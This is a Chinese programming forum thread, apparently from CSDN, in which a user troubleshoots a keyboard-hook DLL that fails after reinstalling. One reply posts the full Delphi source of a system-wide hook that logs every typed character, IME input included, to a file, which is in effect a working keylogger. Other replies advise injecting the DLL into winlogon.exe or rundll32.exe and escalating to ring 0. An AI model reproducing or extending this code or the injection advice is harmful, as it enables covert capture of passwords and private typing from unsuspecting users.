http://topic.csdn.net/u/20080626/21/04e44567-e092-4fa8-8737-84fdb8763530.html
或者先看看能不能解决.

解决方案 »

  1.   

    看了半天还是不清楚
    看样子似乎是键盘钩子的问题,你把键盘钩子的代码写详细点试试unit UnitGetkeyDll;interfaceuses
      windows,
      messages,dialogs,forms,
      sysutils,UnitConst;  procedure InstallGetkey; stdcall;
      procedure RemoveGetkey; stdcall;implementationvar
      MemFile: THandle;
      pShMem: PGetkeyMem;
      HHCallWndProc,HHGetMsgProc: HHook;procedure SaveInfo(str: string); stdcall;
    var
      f: textfile;
    begin
      {保存为文件信息}
      assignfile(f, FileName);
      if fileexists(FileName) = false then rewrite(f)
      else append(f);
      if strcomp(pchar(str), pchar('#13#10')) = 0 then writeln(f, '')
      else write(f, str);
      closefile(f);
    end;procedure HookProc(hWnd: integer; uMessage: integer; wParam: WPARAM; lParam: LPARAM); stdcall;
    begin
      if (uMessage = WM_CHAR) and (lParam <> 1) then
      begin
        SaveInfo(format('%s', [chr(wparam and $FF)]));
        inc(pShMem^.count);
        if pShMem^.count > 60 then
        begin
          SaveInfo('#13#10');
          pShMem^.count := 0;
        end;
      end;
      if (uMessage = WM_IME_CHAR) then
      begin
        SaveInfo(format('%s%s', [chr((wparam shr 8) and $FF), chr(wparam and $FF)]));
        inc(pShMem^.count, 2);
      end;
    end;function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
    var
      pcs: PMSG;
    begin
      pcs := PMSG(lParam);
      if (nCode >= 0) and (wParam=PM_REMOVE)and (pcs <> nil) and (pcs^.hwnd <> 0) then
      begin
         HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
      end;
      Result := CallNextHookEx(HHGetMsgProc, nCode, wParam, lParam);
    end;function CallWndProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
    var
      pcs: PCWPSTRUCT;
    begin
      pcs := PCWPSTRUCT(lParam);
      if (nCode >= 0) and (pcs <> nil) and (pcs^.hwnd <> 0) then
      begin
        HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
      end;
      Result := CallNextHookEx(HHCallWndProc, nCode, wParam, lParam);
    end;procedure Intro;
    begin
      MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TGetKeyMem), MemNameGetkey);
      pShMem := MapViewOfFile(MemFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
    end;procedure Extro;
    begin
      if pShMem<>nil then
      begin
         UnmapViewOfFile(pShMem);
         pShMem:=nil;
      end;
      if memfile<>0 then
      begin
         CloseHandle(MemFile);
         MemFile:=0;
      end;
    end;procedure RemoveGetkey;
    begin
       if HHGetMsgProc <> 0 then UnhookWindowsHookEx(HHGetMsgProc);
       HHGetMsgProc := 0;
       if HHCallWndProc <> 0 then UnhookWindowsHookEx(HHCallWndProc);
       HHCallWndProc := 0;
    end;procedure InstallGetKey; stdcall;
    var
      p: PInstallMem;
      h: THandle;
    begin
      pShMem^.Count:=0;
      pShMem^.LibHandle:=hInstance;
      if HHGetMsgProc = 0 then
         HHGetMsgProc := SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hinstance, 0);
      if HHCallWndProc = 0 then
         HHCallWndProc := SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hinstance, 0);
      h:=OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ, false, MemNameInstall);
      if h<>0 then
      begin
        p:=MapViewOfFile(h,FILE_MAP_READ,0,0,0);
        if p<>nil then
        begin
          postmessage(p^.MainFormHandle, wm_user, 1, 1);
          UnmapViewofFile(p);
        end;
        closeHandle(h);
      end;
      pShMem^.ExitIt:=false;
      while not pShMem^.ExitIt do application.ProcessMessages;
      ExitThread(0);
    end;initialization
          Intro;
    finalization
          Extro;end.
    看这样有没有问题
      

  2.   

    UnitConst 这个是那的,怎么编译不过的啊?
      

  3.   

    呵呵,找到问题了,但是还没办法解决,我的DLL是随系统启动,安装钩子以后没有卸除钩子所以第2次钩上就不能用了,电脑重起也不能用了,不知道怎么好了.
      

  4.   

    那你就在重启之前卸载钩子,如果现在不行的话用冰刃把你的DLL从目标进程里面卸除掉再执行
      

  5.   

    呵呵,我就是用冰刃来卸DLL的,钩子写出来第一次成功,在卸掉在装就无效了.
      

  6.   

    疯了……………………
    没法子了……
    试着换个进程注入看看……
    比如winlogon.exe……
      

  7.   

    winlogon.exe
    没那么好注入
    ring 0的。
      

  8.   

    加个中断门……
    int到ring0去,就不信注不进去……
    对了,DLL注入一般是调用rundll32.exe的,如果进程弄错了也有可能出现问题……
    ……好像我的rundll32.exe也被注入了,下去手杀……
      

  9.   

    啊.我还不会进ring0啊.怎么才能进啊?
      

  10.   

    注入rundll32这个进程不需要进入ring0的